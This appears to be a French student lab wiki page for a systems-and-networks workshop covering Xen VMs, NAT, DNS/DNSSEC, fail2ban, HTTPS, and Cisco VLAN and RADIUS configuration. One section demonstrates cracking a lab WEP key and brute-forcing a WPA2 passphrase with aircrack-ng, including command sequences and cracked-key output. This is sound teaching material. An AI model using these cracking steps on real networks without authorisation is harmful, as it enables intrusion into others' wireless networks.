&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
'''/!\''' Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une '''clé USB Wifi''' pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s'arrête au 13 donc je dois prendre la '''cracotte02'''.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d''''identifier l'interface WIFI''' qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d'&amp;lt;nowiki/&amp;gt;'''identifier l'adresse IP de notre cracotte02'''.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l'adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons '''lancer le cassage''' de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour '''voir si la clé à été trouvée''' (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s'intéresse maintenant à la '''kracotte02''' (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un '''fichier Python''' un dictionnaire contenant '''toutes les possibilités sur 8 chiffres'''. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12262</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12262"/>
		<updated>2026-02-12T15:49:01Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : '''192.168.69.0/24'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
